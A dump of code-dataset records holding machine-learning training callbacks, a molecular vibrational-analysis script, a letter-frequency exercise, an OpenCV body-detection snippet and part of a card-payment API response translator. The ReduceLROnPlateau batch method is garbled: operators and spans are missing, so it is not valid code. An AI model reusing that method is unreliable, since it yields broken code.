self.wait >= self.patience:\n self.stopped_epoch = epoch\n self.model.stop_training = True\n\n def on_train_end(self, logs):\n if self.stopped_epoch > 0 and self.verbose:\n print('Epoch %05d: early stopping' % (self.stopped_epoch + 1))\n\n\n@gin.configurable\nclass CompletedStopping(Callback):\n\n def __init__(self, *, monitor='acc_fmnist', patience=5, verbose=True):\n super(CompletedStopping, self).__init__()\n\n self.monitor = monitor\n self.patience = patience\n\n self.verbose = verbose\n \n self.stopped_epoch = 0\n\n def on_train_begin(self, logs):\n # Allow instances to be re-used\n self.stopped_epoch = 0\n self.counter = 0\n\n def on_epoch_end(self, epoch, logs):\n current = logs[self.monitor]\n if current == 100:\n self.counter +=1\n \n if self.counter>=self.patience:\n \n self.stopped_epoch = epoch\n self.model.stop_training = True\n\n def on_train_end(self, logs):\n if self.stopped_epoch > 0 and self.verbose:\n print('Epoch %05d: completed stopping' % (self.stopped_epoch + 1))\n\n@gin.configurable\nclass LRSchedule(Callback):\n def __init__(self, base_lr, schedule):\n self.schedule = schedule\n self.base_lr = base_lr\n super(LRSchedule, self).__init__()\n\n def on_epoch_begin(self, epoch, logs):\n # Epochs starts from 0\n for e, v in self.schedule:\n if epoch < e:\n break\n for group in self.optimizer.param_groups:\n group['lr'] = v * self.base_lr\n logger.info(\"Fix learning rate to {}\".format(v * self.base_lr))\n\n@gin.configurable\nclass ReduceLROnPlateau_PyTorch(Callback):\n def __init__(self, metric):\n self.metric = metric \n \n def on_train_begin(self, logs):\n self.scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(self.optimizer, \n mode='min', \n factor=0.3, \n patience=5, \n verbose=True, threshold=0.001, threshold_mode='rel', cooldown=0, min_lr=1e-4, eps=1e-08)\n\n def on_epoch_end(self, epoch, logs):\n '''Check for end of current cycle, apply restarts when necessary.'''\n self.scheduler.step(logs[self.metric])\n\n@gin.configurable\nclass ReduceLROnPlateau(Callback):\n def __init__(self, base_lr, factor=0.5, patience=5, threshold=0.1, starting_loss = 0.05, new=False):\n self.factor=factor\n self.patience=patience\n self.threshold=threshold\n self.base_lr = base_lr\n self.best_loss = None\n self.bad_counter = 0\n self.starting_loss = starting_loss\n self.new=new\n self.lowerest = 1e-5 if self.new else 1e-6\n\n super(ReduceLROnPlateau, self).__init__()\n\n def on_batch_end(self, batch, logs):\n if self.best_loss is None:\n self.best_loss = logs['loss']\n # Epochs starts from 0\n if logs['loss']self.threshold*self.best_loss + self.best_loss):\n if (logs['loss']>self.starting_loss) and self.new:\n pass\n else:\n self.bad_counter +=1\n else:\n pass\n\n if self.bad_counter>self.patience and self.base_lr>self.lowerest and logs['loss']self.base_lr:\n group['lr'] = self.base_lr\n\n logger.info(\"Fix learning rate to {}\".format( self.base_lr))\n\n@gin.configurable\nclass CycleScheduler(Callback):\n \n def __init__(self,\n starting_condition_epoch = 100,\n starting_condition_loss = 0.1,\n factor = 0.3,\n step_size = 59,\n ):\n\n self.starting_condition_epoch = starting_condition_epoch\n self.starting_condition_loss = starting_condition_loss\n self.factor = factor\n self.start_flag = False\n self.step_size = step_size\n\n def on_train_begin(self, logs):\n for group in self.optimizer.param_groups:\n self.base_lr = group['lr']\n break\n\n def on_epoch_begin(self, epoch, logs):\n self.step_counter = 0\n\n def on_batch_begin(self, batch, logs):\n if self.start_flag:\n self.step_counter +=1 \n if self.step_counter<=self.step_size:\n \n lr = (self.max_lr - self.min_lr)/self.step_size * self.step_counter + self.min_lr\n else:\n lr = self.max_lr - (self.max_lr - self.min_lr)/(self.step_counter - self.step_size ) * self.step_counter\n\n if self.step_counter>2*self.step_size:\n self.step_counter = 0\n\n for group in self.optimizer.param_groups:\n group['lr'] = lr\n logger.info(\"Fix learning rate to {}\".format(lr))\n\n def on_epoch_end(self, epoch, logs):\n '''Check for end of current cycle, apply restarts when necessary.'''\n if epoch>self.starting_condition_epoch and logs['loss']>self.starting_condition_loss and not self.start_flag:\n self.min_lr = (1-self.factor)*self.base_lr\n self.max_lr = self.base_lr*(1+self.factor)\n \n self.start_flag = True\n self.step_counter = 0\n \nclass History(Callback):\n \"\"\"\n History callback.\n\n By default saves history every epoch, can be configured to save also every k examples\n \"\"\"\n def __init__(self, save_every_k_examples=-1, mode='train'):\n self.examples_seen = 0\n self.save_every_k_examples = save_every_k_examples\n self.examples_seen_since_last_population = 0\n self.mode = mode\n super(History, self).__init__()\n\n def on_train_begin(self, logs=None):\n # self.epoch = []\n self.history = {}\n self.history_batch = {}\n\n def on_epoch_end(self, epoch, logs=None):\n logs = logs or {}\n # self.epoch.append(epoch)\n for k, v in logs.items():\n self.history.setdefault(k, []).append(v)\n\n # if k.endswith(\"nih_labels\"):# and (k not in self.history):\n # # we don't need to save nih_labels every epoch.\n # #self.history[k] = v\n # pass\n # else:\n # self.history.setdefault(k, []).append(v)\n\n if self.save_path is not None:\n base_filename = 'history.pkl' if self.mode == 'train' else 'eval_history.pkl'\n pickle.dump(self.history, open(os.path.join(self.save_path, base_filename), \"wb\"))\n if self.save_every_k_examples != -1:\n pickle.dump(self.history_batch, open(os.path.join(self.save_path, \"history_batch.pkl\"), \"wb\"))\n\n def on_batch_end(self, batch, logs=None):\n # Batches starts from 1\n if self.save_every_k_examples != -1:\n if getattr(self.model, \"history_batch\", None) is None:\n setattr(self.model, \"history_batch\", self)\n assert \"size\" in logs\n self.examples_seen += logs['size']\n logs['examples_seen'] = self.examples_seen\n self.examples_seen_since_last_population += logs['size']\n\n if self.examples_seen_since_last_population > self.save_every_k_examples:\n for k, v in logs.items():\n self.history_batch.setdefault(k, []).append(v)\n self.examples_seen_since_last_population = 0\n\n\nclass ModelCheckpoint(Callback):\n def __init__(self, filepath, monitor='val_loss', verbose=0,\n save_best_only=False,\n mode='auto', period=1):\n super(ModelCheckpoint, self).__init__()\n self.monitor = monitor\n self.verbose = verbose\n self.filepath = filepath\n self.save_best_only = save_best_only\n self.period = period\n self.epochs_since_last_save = 0\n\n if mode not in ['auto', 'min', 'max']:\n mode = 'auto'\n\n if mode == 'min':\n self.monitor_op = np.less\n self.best = np.Inf\n elif mode == 'max':\n self.monitor_op = np.greater\n self.best = -np.Inf\n else:\n if 'acc' in self.monitor or self.monitor.startswith('fmeasure'):\n self.monitor_op = np.greater\n self.best = -np.Inf\n else:\n self.monitor_op = np.less\n self.best = np.Inf\n\n def __getstate__(self):\n state = self.__dict__.copy()\n del state['model']\n del state['optimizer']\n return state\n\n def __setstate__(self, newstate):\n newstate['model'] = self.model\n newstate['optimizer'] = self.optimizer\n self.__dict__.update(newstate)\n\n def on_epoch_end(self, epoch, logs=None):\n logs = logs or {}\n self.epochs_since_last_save += 1\n if self.epochs_since_last_save >= self.period:\n self.epochs_since_last_save = 0\n if self.save_best_only:\n current = logs.get(self.monitor)\n if current is None:\n logging.warning('Can save best model only with %s available, '\n 'skipping.' % (self.monitor), RuntimeWarning)\n else:\n if self.monitor_op(current, self.best):\n if self.verbose > 0:\n print('Epoch %05d: %s improved from %0.5f to %0.5f,'\n ' saving model to %s'\n % (epoch, self.monitor, self.best,\n current, self.filepath))\n self.best = current\n save_weights(self.model, self.optimizer, self.filepath)\n else:\n if self.verbose > 0:\n print('Epoch %05d: %s did not improve' %\n (epoch, self.monitor))\n else:\n if self.verbose > 0:\n print('Epoch %05d: saving model to %s' % (epoch, self.filepath))\n save_weights(self.model, self.optimizer, self.filepath)\n\n\nclass LambdaCallback(Callback):\n def __init__(self,\n on_epoch_begin=None,\n on_epoch_end=None,\n on_batch_begin=None,\n on_batch_end=None,\n on_train_begin=None,\n on_train_end=None):\n super(LambdaCallback, self).__init__()\n if on_epoch_begin is not None:\n self.on_epoch_begin = on_epoch_begin\n else:\n self.on_epoch_begin = lambda epoch, logs: None\n if on_epoch_end is not None:\n self.on_epoch_end = on_epoch_end\n else:\n self.on_epoch_end = lambda epoch, logs: None\n if on_batch_begin is not None:\n self.on_batch_begin = on_batch_begin\n else:\n self.on_batch_begin = lambda batch, logs: None\n if on_batch_end is not None:\n self.on_batch_end = on_batch_end\n else:\n self.on_batch_end = lambda batch, logs: None\n if on_train_begin is not None:\n self.on_train_begin = on_train_begin\n else:\n self.on_train_begin = lambda logs: None\n if on_train_end is not None:\n self.on_train_end = on_train_end\n else:\n self.on_train_end = lambda logs: None\n\n\nclass LambdaCallbackPickableEveryKExamples(LambdaCallback):\n \"\"\"\n Runs lambda every K examples.\n\n Note: Assumes 'size' key in batch logs denoting size of the current minibatch\n \"\"\"\n def __init__(self,\n on_k_examples=None,\n k=45000,\n call_after_first_batch=False,\n **kwargs):\n super(LambdaCallback, self).__init__()\n self.__dict__.update(kwargs)\n self.examples_seen = 0\n self.call_after_first_batch = call_after_first_batch\n self.examples_seen_since_last_call = 0\n self.k = k\n self.on_k_examples = on_k_examples\n self.calls = 0\n\n def on_batch_end(self, batch, logs=None):\n # Batches starts from 1\n assert \"size\" in logs\n self.examples_seen += logs['size']\n self.examples_seen_since_last_call += logs['size']\n\n if (self.call_after_first_batch and batch == 1) \\\n or self.examples_seen_since_last_call > self.k:\n logger.info(\"Batch \" + str(batch))\n logger.info(\"Firing on K examples, ex seen = \" + str(self.examples_seen))\n logger.info(\"Firing on K examples, ex seen last call = \" + str(self.examples_seen_since_last_call))\n self.on_k_examples(logs) # self.calls, self.examples_seen,\n self.examples_seen_since_last_call = 0\n self.calls += 1\n\n def __getstate__(self):\n state = self.__dict__.copy()\n del state['on_k_examples']\n return state\n\n\nclass DumpTensorboardSummaries(Callback):\n def __init__(self):\n super(DumpTensorboardSummaries, self).__init__()\n\n @property\n def file_writer(self):\n if not hasattr(self, '_file_writer'):\n self._file_writer = tensorflow.compat.v1.summary.FileWriter(\n self.save_path, flush_secs=10.)\n return self._file_writer\n\n def on_epoch_end(self, epoch, logs=None):\n summary = tensorflow.compat.v1.Summary()\n for key, value in logs.items():\n try:\n float_value = float(value)\n value = summary.value.add()\n value.tag = key\n value.simple_value = float_value\n except:\n pass\n self.file_writer.add_summary(\n summary, epoch)\n\n@gin.configurable\nclass EvaluateEpoch(Callback):\n def __init__(self, metrics):\n '''\n '''\n super(EvaluateEpoch, self).__init__()\n self.metrics = metrics\n self.metric_func_dict = {'acc': acc_chexnet_covid_numpy, 'auc': auc_chexnet_covid}\n \n def on_epoch_end(self, epoch, logs=None):\n '''appending to log in callback'''\n \n if 'train_predictions' in logs:\n train_preds = logs['train_predictions']\n train_labels = logs['train_labels']\n if 'val_predictions' in logs:\n val_preds = logs['val_predictions']\n val_labels = logs['val_labels']\n if 'test_predictions' in logs:\n test_preds = logs['test_predictions']\n test_labels = logs['test_labels']\n\n for metric in self.metrics:\n \n func = metric.split('_')[0]\n\n if 'train_predictions' in logs:\n logs['{}'.format(metric)] = self.metric_func_dict[func](train_preds, train_labels)\n\n if 'val_predictions' in logs:\n logs['val_{}'.format(metric)] = self.metric_func_dict[func](val_preds, val_labels) \n \n if 'test_predictions' in logs:\n logs['test_{}'.format(metric)] = self.metric_func_dict[func](test_preds, test_labels) \n \n\n@gin.configurable\nclass MetaSaver(Callback):\n def __init__(self):\n super(MetaSaver, self).__init__()\n\n def on_train_begin(self, logs=None):\n logger.info(\"Saving meta data information from the beginning of training\")\n\n assert os.system(\"cp {} {}\".format(sys.argv[0], self.save_path)) == 0, \"Failed to execute cp of source script\"\n\n utc_date = datetime.datetime.utcnow().strftime(\"%Y_%m_%d\")\n\n time_start = time.time()\n cmd = \"python \" + \" \".join(sys.argv)\n self.meta = {\"cmd\": cmd,\n \"save_path\": self.save_path,\n \"most_recent_train_start_date\": utc_date,\n \"execution_time\": -time_start}\n\n json.dump(self.meta, open(os.path.join(self.save_path, \"meta.json\"), \"w\"), indent=4)\n\n # Copy gin configs used, for reference, to the save folder\n os.system(\"rm \" + os.path.join(self.save_path, \"*gin\"))\n for gin_config in sys.argv[2].split(\";\"):\n os.system(\"cp {} {}\".format(gin_config, self.save_path))\n\n def on_train_end(self, logs=None):\n self.meta['execution_time'] += time.time()\n json.dump(self.meta, open(os.path.join(self.save_path, \"meta.json\"), \"w\"), indent=4)\n os.system(\"touch \" + os.path.join(self.save_path, \"FINISHED\"))\n\n@gin.configurable\nclass BreastDataLoader(Callback):\n def __init__(self, \n mode=\"multiclass_cancer_sides\",\n ):\n #self.view_weights = view_weights\n \n super(BreastDataLoader, self).__init__()\n self.mode = mode\n\n def on_train_epoch_begin(self, epoch, logs):\n current_random_seed = self.data.seed_shifter.get_seed(phase='training', epoch_number=epoch)\n self.data.start_training_epoch(random_seed=current_random_seed, mode=self.mode)\n\n def on_val_epoch_begin(self, epoch, logs):\n current_random_seed = self.data.seed_shifter.get_seed(phase='validation', epoch_number=epoch)\n self.data.start_validation_epoch(random_seed=current_random_seed, mode=self.mode)\n\n def on_test_epoch_begin(self, epoch, logs):\n current_random_seed = self.data.seed_shifter.get_seed(phase='test', epoch_number=epoch)\n self.data.start_test_epoch(random_seed=current_random_seed, mode=self.mode)\n","sub_path":"src/callbacks/callbacks.py","file_name":"callbacks.py","file_ext":"py","file_size_in_byte":28963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"562988458","text":"import glob as glob\r\nimport os\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport Analysis1D as Analysis1\r\nimport Analysis2D as Analysis2\r\nimport VAAcompplots as Comp\r\nfrom GaussianHandler import LogInterpreter\r\n\r\n\r\ndef run_1d_harmonic_analysis(elect_pot):\r\n \"\"\"runs script to complete HARMONIC analysis by NORMAL MODE of 1D scan data\r\n :arg elect_pot: dat file of electronic potential from relaxed scan\r\n :returns harm1d_0: PES of OH=0 for NM method\r\n :returns harm1d_1: PES of OH=1 for NM method\"\"\"\r\n freq_dir = os.path.join(main_dir, 'Roo Freqs')\r\n freq_list = sorted(glob.glob(os.path.join(freq_dir, 'chks', 'partrig_RooFreq_*.fchk')))\r\n numcoord = 39 # tetramer\r\n mass = (np.array(\r\n (15.999, 15.999, 1.008, 2.014, 2.014, 15.999, 2.014, 2.014, 15.999, 2.014, 2.014, 2.014, 2.014)\r\n )/0.00054858) # tetramer\r\n norm_modes = Analysis1.run_norm_mode(freq_list, numcoord, mass)\r\n np.savetxt(os.path.join(freq_dir, 'Roo_partrig_normalmodes.dat'), norm_modes)\r\n\r\n harm1d_0, harm1d_1 = Analysis1.plt_harm(norm_modes, elect_pot)\r\n plt.savefig(os.path.join(main_dir, 'figures', 'HbNM_1D_partrig_ohcurves.png'))\r\n np.savetxt(os.path.join(main_dir, 'VAA', 'HbNM_1D_partrig_OH=0.dat'), harm1d_0)\r\n np.savetxt(os.path.join(main_dir, 'VAA', 'HbNM_1D_partrig_OH=1.dat'), harm1d_1)\r\n return harm1d_0, harm1d_1\r\n\r\n\r\ndef run_2d_harmonic_analysis(mini_pot):\r\n \"\"\"runs script to complete HARMONIC analysis by FINITE DIFFERENCE of 2D scan data.\r\n :arg mini_pot: dat file of electronic potential from 2D relaxed scan\r\n :returns harm2d_0: PES of OH=0 for FD method\r\n :returns harm2d_1: PES of OH=1 for FD method\"\"\"\r\n FD_dir = os.path.join(main_dir, 'VAA', 'harmonic data', 'finite data')\r\n FD_scans = sorted(glob.glob(os.path.join(FD_dir, 'Egraph_partrig*.dat')))\r\n freqs = Analysis2.do_ALL_the_freqy_science(FD_scans)\r\n np.savetxt(os.path.join(main_dir, 'VAA', 'HbFD_2D_partrig_freqs.dat'), freqs)\r\n\r\n harm2d_0, harm2d_1 = Analysis2.make_the_plot(freqs, mini_pot)\r\n np.savetxt(os.path.join(main_dir, 'VAA', 'HbFD_2D_partrig_OH=0.dat'), harm2d_0)\r\n np.savetxt(os.path.join(main_dir, 'VAA', 'HbFD_2D_partrig_OH=1.dat'), harm2d_1)\r\n plt.savefig(os.path.join(main_dir, 'figures', 'HbFD_2D_partrig_ohcurves.png'))\r\n plt.close()\r\n return harm2d_0, harm2d_1\r\n\r\n\r\ndef run_2d_anharmonic_analysis(cut_dict, mini_pot):\r\n \"\"\"runs script to complete ANHARMONIC analysis by DISCRETE VARIABLE REPRESENTATION of 2D scan data.\r\n :arg mini_pot: dat file of electronic potential from 2D relaxed scan\r\n :returns anharm_0: PES of OH=0 for DVR method\r\n :returns anharm_1: PES of OH=1 for DVR method\"\"\"\r\n energy_array, wfn_array = Analysis2.run_dvr(cut_dict, 4, plots=True, save=True)\r\n\r\n anharm_0, anharm_1 = Analysis2.make_the_other_plot(energy_array, mini_pot)\r\n np.savetxt(os.path.join(main_dir, 'VAA', 'AbDVR_2D_partrig_OH=0.dat'), anharm_0)\r\n np.savetxt(os.path.join(main_dir, 'VAA', 'AbDVR_2D_partrig_OH=1.dat'), anharm_1)\r\n plt.savefig(os.path.join(main_dir, 'figures', 'AbDVR_2D_partrig_ohcurves.png'))\r\n plt.close()\r\n return anharm_0, anharm_1\r\n\r\n\r\ndef run_comp_plots(mini_pot, harm1d_0, harm1d_1, harm2d_0, harm2d_1, anharm_0, anharm_1):\r\n \"\"\"runs script to compare VAA results using above methods.\r\n :arg mini_pot: Minimum energy through 2D plot (x=Roo (ang) y=Energy (hartrees))\r\n :arg harm1d_0: PES of OH=0 for NM method\r\n :arg harm1d_1: PES of OH=1 for NM method\r\n :arg harm2d_0: PES of OH=0 for FD method\r\n :arg harm2d_1: PES of OH=1 for FD method\r\n :arg anharm_0: PES of OH=0 for DVR method\r\n :arg anharm_1: PES of OH=1 for DVR method\"\"\"\r\n Comp.plot_comparison_2d(harm2d_0, harm2d_1, anharm_0, anharm_1, mini_pot)\r\n plt.savefig(os.path.join(main_dir, 'figures', '2D_partrig_VAA_energycurves.png'))\r\n plt.close()\r\n\r\n Comp.plot_diffs(harm1d_0, harm1d_1, anharm_0, anharm_1, harm2d_0, harm2d_1)\r\n plt.savefig(os.path.join(main_dir, 'figures', 'E0E1_partrig_differenceplot.png'))\r\n plt.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n main_dir = os.path.dirname(os.path.dirname(__file__))\r\n elect_pot = np.loadtxt(os.path.join(main_dir, '1D Scans', '1D_partrig_electpot.dat'))\r\n harm1d_0, harm1d_1 = run_1d_harmonic_analysis(elect_pot)\r\n\r\n scan_dir = os.path.join(main_dir, '2D Scans')\r\n all_scans = list(sorted(glob.glob(os.path.join(scan_dir, \"2Dtet_partrig*.log\"))))\r\n cut_dict = LogInterpreter(*all_scans).cut_dictionary(midpoint=True)\r\n mini_pot = LogInterpreter(*all_scans).minimum_pot()\r\n harm2d_0, harm2d_1 = run_2d_harmonic_analysis(mini_pot)\r\n anharm_0, anharm_1 = run_2d_anharmonic_analysis(mini_pot)\r\n run_comp_plots(mini_pot, harm1d_0, harm1d_1, harm2d_0, harm2d_1, anharm_0, anharm_1)\r\n\r\n","sub_path":"dovaathings.py","file_name":"dovaathings.py","file_ext":"py","file_size_in_byte":4857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"376189916","text":"\"\"\"\nInput: A text for analysis as a string.\nOutput: The most frequent letter in lower case as a string.\n\"\"\"\n\ndef checkio(text):\n # raw string process, transfer to lower case and remove spaces\n text = text.lower().replace(\" \", \"\")\n\n # raw string process 2, create a list, sort and add an empty string at the end.\n text_list = [i for i in text if ord(i) in range(97, 123)]\n text_list = sorted(text_list)\n text_list.append(\"\")\n\n # create an empty dict and a loop to add data to the dict\n text_dict = {}\n index = len(text_list)\n occurrence = 1\n for i in range(0, index - 1):\n if text_list[i] == text_list[i + 1]:\n occurrence += 1\n else:\n text_dict[text_list[i]] = occurrence\n occurrence = 1\n\n # generate a list that stores all the values\n occurrence_max = max(list(text_dict.values()))\n for keys in text_dict.keys():\n if text_dict[keys] == occurrence_max:\n break\n return keys\n\n# another method\nimport string\n\ndef checkio(text):\n \"\"\"\n We iterate through latyn alphabet and count each letter in the text.\n Then \"max\" selects the most frequent letter.\n For the case when we have several equal letter,\n \"max\" selects the first from them.\n \"\"\"\n text = text.lower()\n return max(string.ascii_lowercase, key=text.count)\n\ndef checkio(text):\n import string\n text = \"\".join(sorted(list(filter(lambda x: x in string.ascii_lowercase, text.lower()))))\n for i in text:\n if text.count(i) == max(map(text.count, string.ascii_lowercase)):\n return i\n\nif __name__ == \"__main__\":\n #These \"asserts\" using only for self-checking and not necessary for auto-testing\n assert checkio(\"Hello World!\") == \"l\", \"Hello test\"\n assert checkio(\"How do you do?\") == \"o\", \"O is most wanted\"\n assert checkio(\"One\") == \"e\", \"All letter only once.\"\n assert checkio(\"Oops!\") == \"o\", \"Don't forget about lower case.\"\n assert checkio(\"AAaooo!!!!\") == \"a\", \"Only letters.\"\n assert checkio(\"abe\") == \"a\", \"The First.\"\n assert checkio(\"a\" * 9000 + \"b\" * 1000) == \"a\", \"Long.\"\n print(\"The local tests are done.\")\n","sub_path":"AlgorithmTraining/Checkio/home/p1_the_most_wanted_letter.py","file_name":"p1_the_most_wanted_letter.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"20303420","text":"from matplotlib import pyplot as plt\nimport skimage.io as imageio\nimport pandas as pd\nimport numpy as np\nimport cv2\n\nfullbody = cv2.CascadeClassifier(\"/home/lenovo/Documents/haarcascades/haarcascade_fullbody.xml\")\n\nimage = cv2.imread(\"i.jpeg\")\n\ngray=cv2.cvtColor(image,cv2.COLOR_BGR2RGB)\nimageio.imshow(gray)\n\nforehead=fullbody.detectMultiScale(gray, 1.2, 3)\nprint(forehead)\n\ngozler=[]\nfor (x,y,w,h) in forehead:\n gozler.append(gray[y:y+h, x:x+w])\nimageio.imshow(gozler[0])\n# imageio.imshow(gozler[1])\n\nfor gz in gozler:\n plt.imshow(gz)\n plt.show() \n pd.DataFrame({'fullbody':str(gozler[0]), 'forehead':str(gozler[1])},index=[0,1]).to_csv('fullbodydata.csv')","sub_path":"Feature_Extration-Harcascasde/fullbody.py","file_name":"fullbody.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"433921424","text":"import hashlib\nimport copy\n\nfrom django.conf import settings\n\nfrom carddirector.cd_api import fis\nfrom carddirector.cd_api.constants import tps_response_codes, result_keys, message_types, response_codes\nfrom carddirector.cd_api.constants.response_codes import INFO_REQUEST_IS_BEING_PROCESSED, ERROR_ISSUING, INFO_TPS, ERROR_INSUFFICIENT_BALANCE, ERROR_TPS, INFO_REF, INFO_OPERATION_COMPLETED, INFO_CARD_BALANCE_SUCCESS, INFO_CARD_LOAD_SUCCESS, INFO_CARD_UNLOAD_SUCCESS\nfrom carddirector.cd_api.constants.result_keys import RESULT_CURRENCY, RESULT_CARD_ACCOUNT_BALANCE\nfrom carddirector.cd_api.constants.status_codes import STATUS_SUCCESS, STATUS_FAIL, STATUS_PROCESSING\nfrom carddirector.cd_utils import string_utils\nfrom carddirector.cd_utils.date_utils import get_now\nfrom carddirector.cd_utils.string_utils import format_in_cents\nfrom carddirector.tps_account.repos import find_card_holder_by_card_id\nfrom carddirector.tps_txn.repos import find_cd_transaction_by_acq_txn_no\nfrom carddirector.cd_api.messages.CardDirectorRequest_pb2 import CardDirectorRequest\n\n\ndef get_message_from_response(tps_response, response_code, default_value=\"\"):\n for response_entry in tps_response.responseEntries:\n if response_entry.responseCode == response_code:\n return response_entry.responseMessage\n return default_value\n\n\ndef add_response(tps_response, code, message):\n response_entry = tps_response.responseEntries.add()\n response_entry.responseCode = code\n response_entry.responseMessage = message\n\n\ndef fill_cd_response_header_fields(protobuf_response):\n header = protobuf_response.header\n header.messageId = generate_message_id()\n header.signatureAlgorithm = \"SHA256\"\n header.timestamp = get_current_timestamp()\n\n\ndef generate_message_id():\n return string_utils.random_string(16)\n\n\ndef get_current_timestamp():\n from carddirector.cd_utils import date_utils\n\n return date_utils.get_utcnow_with_isoformat()\n\n\ndef _add_response(protobuf_response, code, message=\"N/A\"):\n response_add = protobuf_response.responses.add()\n response_add.responseCode = code\n response_add.responseMessage = message\n\n\ndef _update_response_status_code(protobuf_response, tps_response):\n if tps_response.success:\n _set_status_code_success(protobuf_response)\n else:\n from carddirector.tps_protobuf import utils\n\n is_mq_timeout_response = utils.is_mq_timeout_tps_response(tps_response)\n if is_mq_timeout_response:\n _set_status_code_processing(protobuf_response)\n else:\n _set_status_code_fail(protobuf_response)\n\n\ndef translate_tps_response(message_type, cd_response, tps_response):\n from carddirector.tps_protobuf import utils\n\n is_mq_timeout_response = utils.is_mq_timeout_tps_response(tps_response)\n if is_mq_timeout_response:\n _add_response(cd_response, INFO_REQUEST_IS_BEING_PROCESSED, \"Request is being processed. Please wait for callback or do Response Result Enquiry after a while.\")\n else:\n for tps_response_entry in tps_response.responseEntries:\n if tps_response_entry.responseCode == tps_response_codes.ERROR_FIS:\n _add_response(cd_response, ERROR_ISSUING,\n \"%s - %s\" % (\"Issuing System Error\", tps_response_entry.responseMessage))\n elif tps_response_entry.responseCode == tps_response_codes.INFO_FIS_ACTION_CODE:\n fis_action_code = tps_response_entry.responseMessage\n fis_message = fis.FIS_ACTION_CODES[fis_action_code]\n _add_response(cd_response, INFO_TPS,\n \"%s - %s: %s\" % (\"Issuing System Response\", fis_action_code, fis_message))\n elif tps_response_entry.responseCode == tps_response_codes.ERROR_INSUFFICIENT_BALANCE:\n _add_response(cd_response, ERROR_INSUFFICIENT_BALANCE,\n \"%s - %s\" % (tps_response_entry.responseCode, tps_response_entry.responseMessage))\n elif tps_response_entry.responseCode.startswith(tps_response_codes.ERROR_PREFIX):\n _add_response(cd_response, ERROR_TPS,\n \"%s - %s\" % (tps_response_entry.responseCode, tps_response_entry.responseMessage))\n elif tps_response_entry.responseCode.startswith(tps_response_codes.INFO_CD_CARD_ID):\n continue\n elif tps_response_entry.responseCode.startswith(tps_response_codes.INFO_CD_CUSTOMER_CARD_ID):\n continue\n elif tps_response_entry.responseCode.startswith(tps_response_codes.INFO_PREFIX):\n _add_response(cd_response, INFO_TPS,\n \"%s - %s\" % (tps_response_entry.responseCode, tps_response_entry.responseMessage))\n else:\n _add_response(cd_response, INFO_REF,\n \"%s - %s\" % (tps_response_entry.responseCode, tps_response_entry.responseMessage))\n\n _update_response_status_code(cd_response, tps_response)\n\n if message_types.CARD_ACCOUNT_BALANCE == message_type:\n translate_card_account_balance_response(cd_response, tps_response)\n elif message_types.CARD_LOAD == message_type:\n translate_card_load_response(cd_response, tps_response)\n elif message_types.CARD_UNLOAD == message_type:\n translate_card_unload_response(cd_response, tps_response)\n elif message_types.CARD_STATUS_ENQUIRY == message_type:\n translate_card_status_enquiry_response(cd_response, tps_response)\n elif message_types.ACQUIRING_PURCHASE == message_type:\n translate_acquiring_purchase_response(cd_response,tps_response)\n elif message_types.ACQUIRING_REFUND == message_type:\n translate_acquiring_refund_response(cd_response,tps_response)\n return cd_response\n\n\ndef translate_card_account_balance_response(protobuf_response, tps_response):\n _update_card_id_mapping_to_response(protobuf_response, tps_response)\n\n currency_list = [response_entry.responseMessage for response_entry in tps_response.responseEntries if\n response_entry.responseCode == tps_response_codes.INFO_CD_CARD_CURR_CODE]\n balance_list = [response_entry.responseMessage for response_entry in tps_response.responseEntries if\n response_entry.responseCode == tps_response_codes.INFO_CD_CARD_AVL_BALANCE]\n if len(currency_list) > 0: _add_result(protobuf_response, RESULT_CURRENCY, currency_list[0])\n if len(balance_list) > 0: _add_result(protobuf_response, RESULT_CARD_ACCOUNT_BALANCE,\n format_in_cents(balance_list[0]))\n if tps_response.success:\n _add_response(protobuf_response, INFO_OPERATION_COMPLETED)\n _add_response(protobuf_response, INFO_CARD_BALANCE_SUCCESS)\n\n\ndef translate_card_load_response(protobuf_response, tps_response):\n if tps_response.success:\n _add_response(protobuf_response, INFO_OPERATION_COMPLETED)\n _add_response(protobuf_response, INFO_CARD_LOAD_SUCCESS)\n\n\ndef translate_card_unload_response(protobuf_response, tps_response):\n if tps_response.success:\n _add_response(protobuf_response, INFO_OPERATION_COMPLETED)\n _add_response(protobuf_response, INFO_CARD_UNLOAD_SUCCESS)\n\n\ndef translate_card_status_enquiry_response(protobuf_response, tps_response):\n\n _update_card_id_mapping_to_response(protobuf_response, tps_response)\n\n card_status_code = get_message_from_response(tps_response, tps_response_codes.INFO_CD_CARD_STATUS_CODE, \"\")\n card_expiry_date = get_message_from_response(tps_response, tps_response_codes.INFO_CD_CARD_EXPIRY_DATE, \"\")\n card_curr_code = get_message_from_response(tps_response, tps_response_codes.INFO_CD_CARD_CURR_CODE, \"\")\n card_masked_pan = get_message_from_response(tps_response, tps_response_codes.INFO_CD_CARD_MASKED_PAN, \"\")\n _add_result(protobuf_response, result_keys.RESULT_CARD_STATUS_CODE, card_status_code)\n _add_result(protobuf_response, result_keys.RESULT_CARD_EXPIRY_DATE, card_expiry_date)\n _add_result(protobuf_response, result_keys.RESULT_CARD_CURR_CODE, card_curr_code)\n _add_result(protobuf_response, result_keys.RESULT_CARD_MASKED_PAN, card_masked_pan)\n if tps_response.success:\n _add_response(protobuf_response, INFO_OPERATION_COMPLETED)\n _add_response(protobuf_response, INFO_CARD_BALANCE_SUCCESS)\n\ndef translate_acquiring_purchase_response(protobuf_response, tps_response):\n if tps_response.success:\n acq_transaction_number = get_message_from_response(tps_response, tps_response_codes.INFO_CD_ACQ_TRANSACTION_NUMBER, \"\")\n _update_acquiring_transaction_result(protobuf_response, acq_transaction_number)\n\n _add_response(protobuf_response, INFO_OPERATION_COMPLETED)\n _add_response(protobuf_response, response_codes.INFO_ACQUIRING_PURCHASE_SUCCESS)\n\ndef translate_acquiring_refund_response(protobuf_response, tps_response):\n if tps_response.success:\n acq_transaction_number = get_message_from_response(tps_response, 